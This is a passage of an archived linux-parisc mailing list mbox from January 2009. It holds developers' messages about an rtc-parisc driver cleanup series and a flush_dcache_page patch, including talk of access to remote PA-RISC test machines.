> relevant changes back into the rtc-parisc driver.

 Acked-by: Alessandro Zummo <a.zummo@towertech.it>

 on the whole series. Thank you Dann!

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Thu, 15 Jan 2009 19:36:06 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20090116003606.GD7488@bombadil.infradead.org>
References: <cover.1231983598.git.dannf@hp.com> <20090116010633.60c3b87d@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232066188 26769 80.91.229.12 (16 Jan 2009 00:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 00:36:28 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, dannf@hp.com,
	linux-parisc@vger.kernel.org, lkml@vger.kernel.org,
	kyle@mcmartin.ca, akpm@linux-foundation.org, lethal@linux-sh.org
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 01:37:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNciO-0008WT-V1
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 01:37:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752545AbZAPAgR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 19:36:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753011AbZAPAgR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 19:36:17 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34663 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752228AbZAPAgR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 19:36:17 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LNcgw-0002fO-MU; Fri, 16 Jan 2009 00:36:06 +0000
Content-Disposition: inline
In-Reply-To: <20090116010633.60c3b87d@i1501.lan.towertech.it>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1194>

On Fri, Jan 16, 2009 at 01:06:33AM +0100, Alessandro Zummo wrote:
> On Thu, 15 Jan 2009 16:46:47 -0700
> dann frazier <dannf@hp.com> wrote:
> 
> > I recently submitted an rtc-efi driver having used rtc-parisc as a
> > template. I received several suggestions from Alessandro Zummo and
> > Andrew Morton that also apply to rtc-parisc. This series merges the
> > relevant changes back into the rtc-parisc driver.
> 
>  Acked-by: Alessandro Zummo <a.zummo@towertech.it>
> 
>  on the whole series. Thank you Dann!
> 

How does this jive with Paul Mundt's work that kills a bunch of these
rtc- drivers? (added Paul to CC)

These patches are cool with me. (I noticed you kept the same comment in
the ia64 time.c code. ;-)

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Fri, 16 Jan 2009 02:48:18 +0100
Organization: Tower Technologies
Lines: 27
Approved: news@gmane.org
Message-ID: <20090116024818.1c7c0fba@i1501.lan.towertech.it>
References: <cover.1231983598.git.dannf@hp.com>
	<20090116010633.60c3b87d@i1501.lan.towertech.it>
	<20090116003606.GD7488@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232070512 4041 80.91.229.12 (16 Jan 2009 01:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 01:48:32 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, dannf@hp.com,
	linux-parisc@vger.kernel.org, lkml@vger.kernel.org,
	kyle@mcmartin.ca, akpm@linux-foundation.org, lethal@linux-sh.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 02:49:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNdqA-0002BB-AL
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 02:49:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753623AbZAPBsX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 20:48:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753095AbZAPBsW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 20:48:22 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:43113 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752583AbZAPBsW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 20:48:22 -0500
Original-Received: (qmail 11101 invoked from network); 16 Jan 2009 02:48:19 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 16 Jan 2009 02:48:19 +0100
In-Reply-To: <20090116003606.GD7488@bombadil.infradead.org>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1195>

On Thu, 15 Jan 2009 19:36:06 -0500
Kyle McMartin <kyle@infradead.org> wrote:

> How does this jive with Paul Mundt's work that kills a bunch of these
> rtc- drivers? (added Paul to CC)

 You mean rtc-firmware? I'm not comfortable in having another legacy
 bridge. archs need to move to the rtc subsystem as a whole.

 I saw a lot of improvements in this direction in the last few kernels,
 and I don't want to have something that will have to be removed in a couple
 of months.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH] Remove needless flush_dcache_page call
Date: Thu, 15 Jan 2009 23:01:24 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20090116060124.GG31013@parisc-linux.org>
References: <20090116052804.GA18737@barrios-desktop> <20090116053338.GC31013@parisc-linux.org> <20090116055119.GA6515@barrios-desktop> <20090116055927.GA22810@wotan.suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232085696 2534 80.91.229.12 (16 Jan 2009 06:01:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 06:01:36 +0000 (UTC)
Cc: MinChan Kim <minchan.kim@gmail.com>, linux-kernel@vger.kernel.org,
	linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
	akpm@linux-foundation.org, linux-parisc@vger.kernel.org
To: Nick Piggin <npiggin@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 07:02:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNhn4-0007yN-NS
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 07:02:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751725AbZAPGB1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 01:01:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752721AbZAPGB1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 01:01:27 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:38872 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751725AbZAPGB0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 01:01:26 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 284AB494005; Thu, 15 Jan 2009 23:01:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090116055927.GA22810@wotan.suse.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1196 gmane.linux.kernel:781854 gmane.linux.kernel.mm:30192 gmane.linux.file-systems:29197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1196>

On Fri, Jan 16, 2009 at 06:59:27AM +0100, Nick Piggin wrote:
> But there are quite possibly holes around here because not as much testing
> is done on CPUs with these kinds of caches. Eg. brd probably should be
> doing a flush_dcache_page in the rw == WRITE direction AFAIKS, so it picks
> up user aliases here.

Nick, if you wanted me to schlep a parisc machine to LCA for you, you
needed to ask me *before* I got as far as Vancouver ;-)

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Piggin <npiggin@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove needless flush_dcache_page call
Date: Fri, 16 Jan 2009 08:34:13 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20090116073413.GC22810@wotan.suse.de>
References: <20090116052804.GA18737@barrios-desktop> <20090116053338.GC31013@parisc-linux.org> <20090116055119.GA6515@barrios-desktop> <20090116055927.GA22810@wotan.suse.de> <20090116060124.GG31013@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232091263 15148 80.91.229.12 (16 Jan 2009 07:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 07:34:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 08:35:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNjEs-0004ST-RP
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 08:35:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758093AbZAPHeQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 02:34:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758043AbZAPHeP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 02:34:15 -0500
Original-Received: from mx1.suse.de ([195.135.220.2]:46702 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757964AbZAPHeP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 02:34:15 -0500
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id D9587457DB;
	Fri, 16 Jan 2009 08:34:13 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090116060124.GG31013@parisc-linux.org>
User-Agent: Mutt/1.5.9i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1197>

On Thu, Jan 15, 2009 at 11:01:24PM -0700, Matthew Wilcox wrote:
> On Fri, Jan 16, 2009 at 06:59:27AM +0100, Nick Piggin wrote:
> > But there are quite possibly holes around here because not as much testing
> > is done on CPUs with these kinds of caches. Eg. brd probably should be
> > doing a flush_dcache_page in the rw == WRITE direction AFAIKS, so it picks
> > up user aliases here.
> 
> Nick, if you wanted me to schlep a parisc machine to LCA for you, you
> needed to ask me *before* I got as far as Vancouver ;-)

;)

That actually might not be a bad idea if I had access to one of your crazy
systems. Would it really fit on an aeroplane or would you need a shipping
container? :)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove needless flush_dcache_page call
Date: Fri, 16 Jan 2009 09:28:21 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <1232116101.3224.14.camel@localhost.localdomain>
References: <20090116052804.GA18737@barrios-desktop>
	 <20090116053338.GC31013@parisc-linux.org>
	 <20090116055119.GA6515@barrios-desktop>
	 <20090116055927.GA22810@wotan.suse.de>
	 <20090116060124.GG31013@parisc-linux.org>
	 <20090116073413.GC22810@wotan.suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1232116121 29268 80.91.229.12 (16 Jan 2009 14:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 14:28:41 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: Nick Piggin <npiggin@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 15:29:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNpho-0008B6-J5
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 15:29:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934652AbZAPO22 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 09:28:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935975AbZAPO22
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 09:28:28 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:48420 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S935941AbZAPO2Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 09:28:24 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 68FD782B3;
	Fri, 16 Jan 2009 08:28:22 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BDwNU+X5gmwd; Fri, 16 Jan 2009 08:28:21 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 43E4E7F95;
	Fri, 16 Jan 2009 08:28:21 -0600 (CST)
In-Reply-To: <20090116073413.GC22810@wotan.suse.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1198>

On Fri, 2009-01-16 at 08:34 +0100, Nick Piggin wrote:
> On Thu, Jan 15, 2009 at 11:01:24PM -0700, Matthew Wilcox wrote:
> > On Fri, Jan 16, 2009 at 06:59:27AM +0100, Nick Piggin wrote:
> > > But there are quite possibly holes around here because not as muc=
h testing
> > > is done on CPUs with these kinds of caches. Eg. brd probably shou=
ld be
> > > doing a flush_dcache_page in the rw =3D=3D WRITE direction AFAIKS=
, so it picks
> > > up user aliases here.
> >=20
> > Nick, if you wanted me to schlep a parisc machine to LCA for you, y=
ou
> > needed to ask me *before* I got as far as Vancouver ;-)
>=20
> ;)
>=20
> That actually might not be a bad idea if I had access to one of your =
crazy
> systems. Would it really fit on an aeroplane or would you need a ship=
ping
> container? :)

They can be taken as checked luggage ... however, what Matthew means is
that by being in Vancouver he's already in transit to Australia.
However, we can give you access to the several remote test rings we
have, either Cupertino (send ssh key to Rick Jones <raj@netperf.org> or
Thiabut Var=C3=A8ne <varenet@parisc-linux.org>)

I thought we also had a wiki page listing all the machines, but I can't
find it.  They all use the HP Guardian Service Processor console, which
gives you remote console, power and all the other good things you need.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove needless flush_dcache_page call
Date: Fri, 16 Jan 2009 11:28:09 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20090116162809.GA5697@bombadil.infradead.org>
References: <20090116052804.GA18737@barrios-desktop> <20090116053338.GC31013@parisc-linux.org> <20090116055119.GA6515@barrios-desktop> <20090116055927.GA22810@wotan.suse.de> <20090116060124.GG31013@parisc-linux.org> <20090116073413.GC22810@wotan.suse.de> <1232116101.3224.14.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1232123312 23628 80.91.229.12 (16 Jan 2009 16:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 16:28:32 +0000 (UTC)
Cc: Nick Piggin <npiggin@suse.de>, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 17:29:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNrZe-000305-Mj
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 17:29:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760673AbZAPQ2P convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 11:28:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760160AbZAPQ2P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 11:28:15 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39541 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760066AbZAPQ2N convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 11:28:13 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LNrYH-0001Za-1b; Fri, 16 Jan 2009 16:28:09 +0000
Content-Disposition: inline
In-Reply-To: <1232116101.3224.14.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1199>

On Fri, Jan 16, 2009 at 09:28:21AM -0500, James Bottomley wrote:
> On Fri, 2009-01-16 at 08:34 +0100, Nick Piggin wrote:
> > On Thu, Jan 15, 2009 at 11:01:24PM -0700, Matthew Wilcox wrote:
> > > On Fri, Jan 16, 2009 at 06:59:27AM +0100, Nick Piggin wrote:
> > > > But there are quite possibly holes around here because not as m=
uch testing
> > > > is done on CPUs with these kinds of caches. Eg. brd probably sh=
ould be
> > > > doing a flush_dcache_page in the rw =3D=3D WRITE direction AFAI=
KS, so it picks
> > > > up user aliases here.
> > >=20
> > > Nick, if you wanted me to schlep a parisc machine to LCA for you,=
 you
> > > needed to ask me *before* I got as far as Vancouver ;-)
> >=20
> > ;)
> >=20
> > That actually might not be a bad idea if I had access to one of you=
r crazy
> > systems. Would it really fit on an aeroplane or would you need a sh=
ipping
> > container? :)
>=20
> They can be taken as checked luggage ... however, what Matthew means =
is
> that by being in Vancouver he's already in transit to Australia.
> However, we can give you access to the several remote test rings we
> have, either Cupertino (send ssh key to Rick Jones <raj@netperf.org> =
or
> Thiabut Var=E8ne <varenet@parisc-linux.org>)
>=20

I think Nick already has access to the gsyprf* systems, as I've seen hi=
m
logged in there before. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove needless flush_dcache_page call
Date: Fri, 16 Jan 2009 10:34:29 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20090116173429.GA5628@colo.lackof.org>
References: <20090116052804.GA18737@barrios-desktop> <20090116053338.GC31013@parisc-linux.org> <20090116055119.GA6515@barrios-desktop> <20090116055927.GA22810@wotan.suse.de> <20090116060124.GG31013@parisc-linux.org> <20090116073413.GC22810@wotan.suse.de> <1232116101.3224.14.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232127319 6124 80.91.229.12 (16 Jan 2009 17:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 17:35:19 +0000 (UTC)
Cc: Nick Piggin <npiggin@suse.de>, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 18:36:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNsc2-0007IK-Kh
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 18:36:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759030AbZAPRen (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 12:34:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759039AbZAPRen
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 12:34:43 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:60994 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759030AbZAPRem (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 12:34:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5F8CB298029;
	Fri, 16 Jan 2009 10:34:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04383-10; Fri, 16 Jan 2009 10:34:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A1DB729800A; Fri, 16 Jan 2009 10:34:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1232116101.3224.14.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1200>

On Fri, Jan 16, 2009 at 09:28:21AM -0500, James Bottomley wrote:
...`
> They can be taken as checked luggage ... however, what Matthew means is
> that by being in Vancouver he's already in transit to Australia.
> However, we can give you access to the several remote test rings we
> have, either Cupertino (send ssh key to Rick Jones <raj@netperf.org> or
> Thiabut Var??ne <varenet@parisc-linux.org>)

Rick just gets me physical access when we have time to mess with the rack.

Kyle is correct that Nick still has a login to Cupertino ring though he
might need one of us to update his .ssh/authorized keys:
grundler@lp1000r:~$ finger nick
Login: npiggin                          Name: Nick Piggin
Directory: /home/npiggin                Shell: /bin/bash
Office Phone: +xx x xxxx xxxx
Last login Wed Aug  3 22:35 2005 (PDT) on pts/5 from 203-173-7-11.dyn.iinet.net.au
No mail.
No Plan.

IIRC, i gave him access to a "beefier" ia64 machine at the time (and those are
all still there too).

> I thought we also had a wiki page listing all the machines, but I can't
> find it.

    http://www.parisc-linux.org/cluster.html

I've intentionally left it unlinked from the main page.


> They all use the HP Guardian Service Processor console, which
> gives you remote console, power and all the other good things you need.

And most of the parisc machines are in a sorry state right now.
I'll update the web page with current state.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Fri, 16 Jan 2009 12:47:30 -0800
Lines: 24
Approved: news@gmane.org
